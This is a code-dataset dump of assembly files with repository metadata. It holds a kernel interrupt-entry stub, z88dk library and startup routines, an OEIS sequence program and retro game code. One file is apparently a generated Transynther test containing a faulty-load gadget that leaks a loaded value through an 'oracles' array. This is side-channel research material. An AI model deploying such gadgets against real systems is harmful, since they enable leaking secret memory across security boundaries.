hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b27e1661b29bddecd3b5f8ce545457d66e7a7088
| 4,254
|
asm
|
Assembly
|
kernel/arch/x86/interrupt/entry.asm
|
GhostBirdOperatingSystemProject/GhostBirdOS
|
15d3499208029d1a811cccda435f0cfbbf08b482
|
[
"BSD-2-Clause"
] | 10
|
2017-06-08T07:38:37.000Z
|
2022-01-27T20:15:52.000Z
|
kernel/arch/x86/interrupt/entry.asm
|
GhostBirdOperatingSystemProject/GhostBirdOS
|
15d3499208029d1a811cccda435f0cfbbf08b482
|
[
"BSD-2-Clause"
] | 1
|
2018-07-07T15:47:33.000Z
|
2018-07-07T15:47:33.000Z
|
kernel/arch/x86/interrupt/entry.asm
|
MakeOS/GhostBirdOS
|
15d3499208029d1a811cccda435f0cfbbf08b482
|
[
"BSD-2-Clause"
] | 13
|
2017-06-06T05:26:04.000Z
|
2022-01-28T22:18:00.000Z
|
;Copyright 2013-2015 by Explorer Developers.
;Lab Explorer Developers<1@GhostBirdOS.org>
;Explorer Interruption entry
;Explorer/arch/x86/interrupt/entry.asm
;version:Alpha
;1/2/2015 9:47 AM: created
[section .text]
;全局函数及全局变量
extern interrupt_handle ;位于handle.c中
extern do_syscalls ;位于syscalls.c中
global int_0 ;0号中断执行函数
global int_1 ;1号中断执行函数
global int_2 ;2号中断执行函数
global int_3 ;3号中断执行函数
global int_4 ;4号中断执行函数
global int_5 ;5号中断执行函数
global int_6 ;6号中断执行函数
global int_7 ;7号中断执行函数
global int_8 ;8号中断执行函数
global int_9 ;9号中断执行函数
global int_10 ;10号中断执行函数
global int_11 ;11号中断执行函数
global int_12 ;12号中断执行函数
global int_13 ;13号中断执行函数
global int_14 ;14号中断执行函数
global int_15 ;15号中断执行函数
global int_16 ;16号中断执行函数
global int_17 ;17号中断执行函数
global int_18 ;18号中断执行函数
global int_19 ;19号中断执行函数
global int_20 ;20号中断执行函数
global int_21 ;21号中断执行函数
global int_22 ;22号中断执行函数
global int_23 ;23号中断执行函数
global int_24 ;24号中断执行函数
global int_25 ;25号中断执行函数
global int_26 ;26号中断执行函数
global int_27 ;27号中断执行函数
global int_28 ;28号中断执行函数
global int_29 ;29号中断执行函数
global int_30 ;30号中断执行函数
global int_31 ;31号中断执行函数
global int_32 ;32号中断执行函数
global int_33 ;33号中断执行函数
global int_34 ;34号中断执行函数
global int_35 ;35号中断执行函数
global int_36 ;36号中断执行函数
global int_37 ;37号中断执行函数
global int_38 ;38号中断执行函数
global int_39 ;39号中断执行函数
global int_40 ;40号中断执行函数
global int_41 ;41号中断执行函数
global int_42 ;42号中断执行函数
global int_43 ;43号中断执行函数
global int_44 ;44号中断执行函数
global int_45 ;45号中断执行函数
global int_46 ;46号中断执行函数
global int_47 ;47号中断执行函数
global int_48 ;48号中断执行函数
global int_49 ;49号中断执行函数
global int_50 ;50号中断执行函数
;中断开始宏
%macro interrupt_start 1
push dword 0x00000000 ;错误代码
push dword %1 ;中断号
pushad ;保护通用寄存器
jmp interrupt_entry ;统一执行
%endmacro
;中断开始(CPU自动压入错误号)宏
%macro interrupt_start_errnum 1
push dword %1 ;中断号
pushad ;保护通用寄存器
jmp interrupt_entry ;统一执行
%endmacro
;中断开始(系统调用)宏
%macro interrupt_start_syscall 1
push dword 0x00000000 ;错误代码
push dword %1 ;中断号
pushad ;保护通用寄存器
jmp do_syscalls ;执行
%endmacro
[bits 32]
;中断执行函数入口
int_0: interrupt_start 0 ;0号中断
int_1: interrupt_start 1 ;1号中断
int_2: interrupt_start 2 ;2号中断
int_3: interrupt_start 3 ;3号中断
int_4: interrupt_start 4 ;4号中断
int_5: interrupt_start 5 ;5号中断
int_6: interrupt_start 6 ;6号中断
int_7: interrupt_start 7 ;7号中断
int_8: interrupt_start_errnum 8 ;8号中断
int_9: interrupt_start 9 ;9号中断
int_10: interrupt_start_errnum 10 ;10号中断
int_11: interrupt_start_errnum 11 ;11号中断
int_12: interrupt_start_errnum 12 ;12号中断
int_13: interrupt_start_errnum 13 ;13号中断
int_14: interrupt_start_errnum 14 ;14号中断
int_15: interrupt_start 15 ;15号中断
int_16: interrupt_start 16 ;16号中断
int_17: interrupt_start_errnum 17 ;17号中断
int_18: interrupt_start 18 ;18号中断
int_19: interrupt_start 19 ;19号中断
int_20: interrupt_start 20 ;20号中断
int_21: interrupt_start 21 ;21号中断
int_22: interrupt_start 22 ;22号中断
int_23: interrupt_start 23 ;23号中断
int_24: interrupt_start 24 ;24号中断
int_25: interrupt_start 25 ;25号中断
int_26: interrupt_start 26 ;26号中断
int_27: interrupt_start 27 ;27号中断
int_28: interrupt_start 28 ;28号中断
int_29: interrupt_start 29 ;29号中断
int_30: interrupt_start 30 ;30号中断
int_31: interrupt_start 31 ;31号中断
int_32: interrupt_start 32 ;32号中断
int_33: interrupt_start 33 ;33号中断
int_34: interrupt_start 34 ;34号中断
int_35: interrupt_start 35 ;35号中断
int_36: interrupt_start 36 ;36号中断
int_37: interrupt_start 37 ;37号中断
int_38: interrupt_start 38 ;38号中断
int_39: interrupt_start 39 ;39号中断
int_40: interrupt_start 40 ;40号中断
int_41: interrupt_start 41 ;41号中断
int_42: interrupt_start 42 ;42号中断
int_43: interrupt_start 43 ;43号中断
int_44: interrupt_start 44 ;44号中断
int_45: interrupt_start 45 ;45号中断
int_46: interrupt_start 46 ;46号中断
int_47: interrupt_start 47 ;47号中断
int_48: interrupt_start 48 ;48号中断
int_49: interrupt_start 49 ;49号中断
int_50: interrupt_start_syscall 50 ;50号中断(系统调用)
interrupt_entry:
call interrupt_handle ;调用中断处理函数
popad ;还原通用寄存器
add esp,8 ;恢复栈
iretd ;中断反回
| 28.36
| 47
| 0.74142
|
9ed87899c28f5f3ea793256f69094e704c1f5960
| 1,256
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/stdio/z80/input_helpers/__stdio_scanf_li.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/stdio/z80/input_helpers/__stdio_scanf_li.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/stdio/z80/input_helpers/__stdio_scanf_li.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
SECTION code_stdio
PUBLIC __stdio_scanf_li
EXTERN __stdio_scanf_sm_i, __stdio_scanf_number_head
EXTERN l_inc_sp, asm_strtol, __stdio_scanf_number_tail_long
__stdio_scanf_li:
; %li converter called from vfscanf()
;
; enter : ix = FILE *
; de = void *buffer
; bc = field width (0 means default)
; hl = long *p
;
; exit : carry set if error
;
; uses : all except ix
; EAT WHITESPACE AND READ NUMBER INTO BUFFER
push hl ; save int *p
push de ; save void *buffer
ld a,14 ; fourteen octal digits + prefix needed to reach overflow
ld hl,__stdio_scanf_sm_i ; dec/hex/oct number state machine
call __stdio_scanf_number_head
jp c, l_inc_sp - 4 ; if stream error, pop twice and exit
; ASC-II NUMBER TO 32-BIT INTEGER
pop hl ; hl = void *buffer
ld bc,0 ; auto select dec/hex/oct
ld e,b
ld d,b ; de = 0 = char **endp
push ix
call asm_strtol ; dehl = long result
pop ix
pop bc ; bc = long *p
; WRITE RESULT TO LONG *P
jp __stdio_scanf_number_tail_long
| 26.166667
| 92
| 0.557325
|
2f7bee9b2a6605d8d407cdb4ec9f6c05d5c9acdc
| 1,014
|
asm
|
Assembly
|
oeis/282/A282411.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/282/A282411.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/282/A282411.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A282411: Binary representation of the x-axis, from the left edge to the origin, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 467", based on the 5-celled von Neumann neighborhood.
; 1,1,111,0,11111,0,1111111,0,111111111,0,11111111111,0,1111111111111,0,111111111111111,0,11111111111111111,0,1111111111111111111,0,111111111111111111111,0,11111111111111111111111,0,1111111111111111111111111,0,111111111111111111111111111,0,11111111111111111111111111111,0,1111111111111111111111111111111,0,111111111111111111111111111111111,0,11111111111111111111111111111111111,0,1111111111111111111111111111111111111,0,111111111111111111111111111111111111111,0
mov $2,1
lpb $0
mov $2,$0
mov $0,1
seq $2,279118 ; Binary representation of the x-axis, from the left edge to the origin, (and also from the origin to the right edge) of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 209", based on the 5-celled von Neumann neighborhood.
lpe
mov $0,$2
| 92.181818
| 461
| 0.822485
|
daaf320c1738b2862683f8d85527c5f783c7521c
| 5,698
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_131.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_131.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_131.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x4b2, %r15
nop
nop
inc %rax
mov (%r15), %r8
nop
nop
nop
inc %r10
lea addresses_UC_ht+0x166b2, %rax
nop
nop
nop
nop
nop
sub $48156, %r10
mov $0x6162636465666768, %rsi
movq %rsi, %xmm2
vmovups %ymm2, (%rax)
nop
nop
nop
nop
nop
sub %rax, %rax
lea addresses_normal_ht+0x167b2, %rsi
lea addresses_D_ht+0x4b2, %rdi
nop
nop
nop
sub $7310, %r8
mov $3, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp $11037, %rsi
lea addresses_D_ht+0x1b8f2, %rcx
nop
nop
nop
xor %rax, %rax
movl $0x61626364, (%rcx)
nop
nop
and %r10, %r10
lea addresses_A_ht+0x199b2, %rsi
lea addresses_UC_ht+0x8cb2, %rdi
nop
nop
nop
and %r13, %r13
mov $103, %rcx
rep movsq
nop
nop
nop
dec %r10
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r9
push %rax
push %rbp
push %rbx
push %rdx
// Store
lea addresses_A+0x17632, %r9
add %rbx, %rbx
mov $0x5152535455565758, %rbp
movq %rbp, %xmm1
vmovups %ymm1, (%r9)
sub %rbx, %rbx
// Store
lea addresses_D+0x12032, %rdx
add $51814, %r12
movl $0x51525354, (%rdx)
nop
nop
nop
nop
nop
add $58811, %rax
// Faulty Load
lea addresses_A+0x34b2, %rdx
nop
nop
nop
add %rbx, %rbx
mov (%rdx), %rbp
lea oracles, %r12
and $0xff, %rbp
shlq $12, %rbp
mov (%r12,%rbp,1), %rbp
pop %rdx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 38.761905
| 2,999
| 0.659179
|
bfe44b9134f079101254638c5b388f5e46d7a139
| 5,804
|
asm
|
Assembly
|
original version (1984)/includes/inc1.asm
|
fa8ntomas/bclk-samples
|
6e7f054eb4b96ca011ffb2ea49226146b001274b
|
[
"MIT"
] | null | null | null |
original version (1984)/includes/inc1.asm
|
fa8ntomas/bclk-samples
|
6e7f054eb4b96ca011ffb2ea49226146b001274b
|
[
"MIT"
] | null | null | null |
original version (1984)/includes/inc1.asm
|
fa8ntomas/bclk-samples
|
6e7f054eb4b96ca011ffb2ea49226146b001274b
|
[
"MIT"
] | null | null | null |
PlotFire1: clc
adc #$1F
ldx Fire1Y
ldy Fire1X
jmp PlotChars ;Animates playfield things that scroll across screen
PlotFire2: clc
adc #$1F
ldx Fire2Y
ldy Fire2X
jmp PlotChars ;Animates playfield things that scroll across screen
PlotFire3: clc
adc #$1F
ldx Fire3Y
ldy Fire3X
jmp PlotChars ;Animates playfield things that scroll across screen
PlotFireL378C: clc
adc #$07
jmp PlotFire1
bne PlotFire1
PlotFireL3794: clc
adc #$07
jmp PlotFire2
bne PlotFire2
PlotFire3_7: clc
adc #$07
jmp PlotFire3
bne PlotFire3
Entrance31aa: jsr PlaySfxEntrance
sta SAVADR+1
sty RAMTOP
lda #$13
jsr PlotL31EA
lda #$13
jsr PlotL31EA
lda #$14
jmp PlotL31EA
PlotL31C0: jsr Entrance31aa
dec SAVADR+1
lda #$17
jmp PlotL31EA
PlotL31CA: jsr Entrance31aa
dec SAVADR+1
lda #$2D
jmp PlotL31EA
EntranceL31D4: jsr PlaySfxEntrance
sta SAVADR+1
sty RAMTOP
lda #$63
jsr PlotL31EA
lda #$63
jsr PlotL31EA
lda #$64
jmp PlotL31EA
PlotL31EA: ldx SAVADR+1
ldy RAMTOP
jsr PlotChars
inc SAVADR+1
rts
;Updates screen 7 and 9 moving thing at bottom
UpdateRat1: jsr PlaySfxRat ;Play moving thing sound
lda #$1C
ldx BUFSTR
ldy BUFSTR+1
jsr PlotChars ;draws moving thing at bottom of screen 7 and 9
lda #$1B
ldx BUFSTR
ldy BUFCNT
jmp PlotChars ;draws moving thing at bottom of screen 7 and 9
UpdateRat2: jsr PlaySfxRat ;Play moving thing sound
lda #$55
ldx BUFSTR
ldy BUFSTR+1
jsr PlotChars
lda #$54
ldx BUFSTR
ldy BUFCNT
jmp PlotChars
PlaySfxRat:
ldy #$0B ;Moving thing sound
jmp PlaySfx ;Store in memory
UpdateVines: lda OLDCOL
bmi L247B
dec OLDCOL
beq L2494
rts
L247B: and #$7F
sec
sbc #$01
beq L2487
ora #$80
sta OLDCOL
rts
L2487: ldx VineSpeed
lda VineSpeedTable,X
sta OLDCOL
dec LOGCOL
bmi L24B6
rts
L2494: lda #<L3992
sta L007A
lda #>L3992
sta SWPFLG
lda CurrentMap
cmp #$0A
bcc L24AA
; other type of vines from 10-19
lda #<L39AA
sta L007A
lda #>L39AA
sta SWPFLG
L24AA: ldx VineSpeed
lda VineSpeedTable,X
sta OLDCOL
dec LOGCOL
bpl L24D2
L24B6: dec VineSpeed
bpl L24C6
ldx #$07
stx VineSpeed
lda VineDir
eor #$01
sta VineDir
L24C6: ldx VineSpeed
lda VineSpeedTable,X
sta OLDCOL
lda #$10
sta LOGCOL
L24D2: lda VineDir
bne L24E0
inc OLDADR+1
lda OLDADR+1
cmp #$08
bcc L24EB
bcs L24E7 ; jumps into BIT instruction, effectively LDA #0
L24E0: dec OLDADR+1
bpl L24EB
lda #$07
; BIT trick for LDA #0
;bit $00A9 - Doesn't assemble correctly - Had to use line below
.byte $2C
L24E7 .byte $A9,$00
sta OLDADR+1
; Update Actors positions when on vines
; watch out for self-mod
L24EB: ldx #$02
L24ED: stx CurrentT
txa
asl
asl
asl
clc
adc L007A
sta L251B+1
lda SWPFLG
adc #$00
sta L251B+2
txa
clc
adc #$61
sta L3A2B
jsr L12F9
lda L3A2B
sta TmpWord2
lda L3A2A
clc
adc MapFont
sta TmpWord2+1
ldy #$00
ldx OLDADR+1
L251B: lda $E000,X
sta (TmpWord2),Y
iny
inx
cpx #$08
bne L2528
ldx #$00
L2528: cpy #$08
bne L251B
ldx CurrentT
dex
bpl L24ED
rts
TestColision cmp #TILE_FATAL_1
beq L26F5
cmp #TILE_FATAL_2
beq FatalOnMap10 ; Fatal if < Map 10
cmp #TILE_FATAL_3
beq L26F5
cmp #TILE_FATAL_4
beq L26F5
cmp #TILE_FATAL_5
beq L26D1
cmp #$D4
bcc L26DD_
cmp #$DB
bcc L26F5
L26D1: cmp #$F1
bcc L26D9
cmp #$FD
bcc L26F5
L26D9: cmp #TILE_TREE
beq L26EB
L26DD_: rts
L26EB: jmp TriggerTree
FatalOnMap10:
lda CurrentMap
cmp #10
bcs L26F5
rts
L26F5: jmp HitFatal
FatalOnMap16:
lda CurrentMap
cmp #16
beq L26E5
rts
L26E5: jmp L27BD
| 22.152672
| 80
| 0.435217
|
48c1a5abc84a0b5875f22e88c7f5a0669deb40b4
| 5,871
|
asm
|
Assembly
|
lib/mtx_crt0.asm
|
andydansby/z88dk-mk2
|
51c15f1387293809c496f5eaf7b196f8a0e9b66b
|
[
"ClArtistic"
] | 1
|
2020-09-15T08:35:49.000Z
|
2020-09-15T08:35:49.000Z
|
lib/mtx_crt0.asm
|
andydansby/z88dk-MK2
|
51c15f1387293809c496f5eaf7b196f8a0e9b66b
|
[
"ClArtistic"
] | null | null | null |
lib/mtx_crt0.asm
|
andydansby/z88dk-MK2
|
51c15f1387293809c496f5eaf7b196f8a0e9b66b
|
[
"ClArtistic"
] | null | null | null |
; Memotech MTX CRT0 stub
;
; $Id: mtx_crt0.asm,v 1.2 2011/05/10 12:15:08 stefano Exp $
;
MODULE mtx_crt0
;--------
; Include zcc_opt.def to find out some info
;--------
INCLUDE "zcc_opt.def"
;--------
; Some scope definitions
;--------
XREF _main ; main() is always external to crt0 code
XDEF cleanup ; jp'd to by exit()
XDEF l_dcal ; jp(hl)
XDEF _vfprintf ; jp to the printf() core
XDEF exitsp ; atexit() variables
XDEF exitcount
XDEF heaplast ; Near malloc heap variables
XDEF heapblocks
XDEF __sgoioblk ; stdio info block
; Graphics stuff
XDEF pixelbyte ; Temp store for non-buffered mode
XDEF base_graphics ; Graphical variables
XDEF coords ; Current xy position
; 1 bit sound status byte
XDEF snd_tick ; Sound variable
; SEGA and MSX specific
XDEF msxbios
XDEF fputc_vdp_offs ;Current character pointer
XDEF aPLibMemory_bits;apLib support variable
XDEF aPLibMemory_byte;apLib support variable
XDEF aPLibMemory_LWM ;apLib support variable
XDEF aPLibMemory_R0 ;apLib support variable
XDEF raster_procs ;Raster interrupt handlers
XDEF pause_procs ;Pause interrupt handlers
XDEF timer ;This is incremented every time a VBL/HBL interrupt happens
XDEF _pause_flag ;This alternates between 0 and 1 every time pause is pressed
XDEF RG0SAV ;keeping track of VDP register values
XDEF RG1SAV
XDEF RG2SAV
XDEF RG3SAV
XDEF RG4SAV
XDEF RG5SAV
XDEF RG6SAV
XDEF RG7SAV
;--------
; Set an origin for the application (-zorg=) default to 32768
;--------
IF !myzorg
IF (startup=2) ; ROM ?
defc myzorg = 16384+19
ELSE
defc myzorg = 32768+19
ENDIF
ENDIF
org myzorg
start:
ld hl,-64
add hl,sp
ld sp,hl
ld (exitsp),sp
IF !DEFINED_nostreams
IF DEFINED_ANSIstdio
; Set up the std* stuff so we can be called again
ld hl,__sgoioblk+2
ld (hl),19 ;stdin
ld hl,__sgoioblk+6
ld (hl),21 ;stdout
ld hl,__sgoioblk+10
ld (hl),21 ;stderr
ENDIF
ENDIF
call _main ; Call user program
cleanup:
;
; Deallocate memory which has been allocated here!
;
push hl ; return code
IF !DEFINED_nostreams
IF DEFINED_ANSIstdio
LIB closeall
call closeall
ENDIF
ENDIF
cleanup_exit:
pop bc ; return code (still not sure it is teh right one !)
start1: ld sp,0 ;Restore stack to entry value
ret
l_dcal: jp (hl) ;Used for function pointer calls
;---------------------------------
; Select which printf core we want
;---------------------------------
_vfprintf:
IF DEFINED_floatstdio
LIB vfprintf_fp
jp vfprintf_fp
ELSE
IF DEFINED_complexstdio
LIB vfprintf_comp
jp vfprintf_comp
ELSE
IF DEFINED_ministdio
LIB vfprintf_mini
jp vfprintf_mini
ENDIF
ENDIF
ENDIF
; ---------------
; MSX specific stuff
; ---------------
; Safe BIOS call
msxbios:
push ix
ret
;---------------------------------------------------------------------------
coords: defw 0 ; Current graphics xy coordinates
base_graphics: defw 0 ; Address of the Graphics map
pixelbyte: defb 0
; imported form the pre-existing Sega Master System libs
fputc_vdp_offs: defw 0 ;Current character pointer
aPLibMemory_bits: defb 0 ;apLib support variable
aPLibMemory_byte: defb 0 ;apLib support variable
aPLibMemory_LWM: defb 0 ;apLib support variable
aPLibMemory_R0: defw 0 ;apLib support variable
raster_procs: defw 0 ;Raster interrupt handlers
pause_procs: defs 8 ;Pause interrupt handlers
timer: defw 0 ;This is incremented every time a VBL/HBL interrupt happens
_pause_flag: defb 0 ;This alternates between 0 and 1 every time pause is pressed
RG0SAV: defb 0 ;keeping track of VDP register values
RG1SAV: defb 0
RG2SAV: defb 0
RG3SAV: defb 0
RG4SAV: defb 0
RG5SAV: defb 0
RG6SAV: defb 0
RG7SAV: defb 0
IF !DEFINED_HAVESEED
XDEF _std_seed ;Integer rand() seed
_std_seed: defw 0 ; Seed for integer rand() routines
ENDIF
exitsp: defw 0 ; Address of where the atexit() stack is
exitcount: defb 0 ; How many routines on the atexit() stack
heaplast: defw 0 ; Address of last block on heap
heapblocks: defw 0 ; Number of blocks
IF DEFINED_NEED1bitsound
snd_tick: defb 0 ; Sound variable
ENDIF
; ZXMMC SD/MMC interface
IF DEFINED_NEED_ZXMMC
XDEF card_select
card_select: defb 0 ; Currently selected MMC/SD slot for ZXMMC
ENDIF
;-----------
; Define the stdin/out/err area. For the z88 we have two models - the
; classic (kludgey) one and "ANSI" model
;-----------
__sgoioblk:
IF DEFINED_ANSIstdio
INCLUDE "stdio_fp.asm"
ELSE
defw -11,-12,-10
ENDIF
;-----------------------
; Floating point support
;-----------------------
IF NEED_floatpack
INCLUDE "float.asm"
fp_seed: defb $80,$80,0,0,0,0 ;FP seed (unused ATM)
extra: defs 6 ;FP register
fa: defs 6 ;FP Accumulator
fasign: defb 0 ;FP register
ENDIF
;---------------------------------------------------------------------------
defm "Small C+ MTX" ;Unnecessary file signature
defb 0
| 24.4625
| 81
| 0.567535
|
4d8b46e45cb7122c4d9ba374f2f3b8fcef48aabd
| 407
|
asm
|
Assembly
|
ASM/commonFuncs.asm
|
SuperV1234/UNIME
|
9daea984ecb34a993aaefbb970566eb34c720580
|
[
"AFL-3.0"
] | null | null | null |
ASM/commonFuncs.asm
|
SuperV1234/UNIME
|
9daea984ecb34a993aaefbb970566eb34c720580
|
[
"AFL-3.0"
] | null | null | null |
ASM/commonFuncs.asm
|
SuperV1234/UNIME
|
9daea984ecb34a993aaefbb970566eb34c720580
|
[
"AFL-3.0"
] | null | null | null |
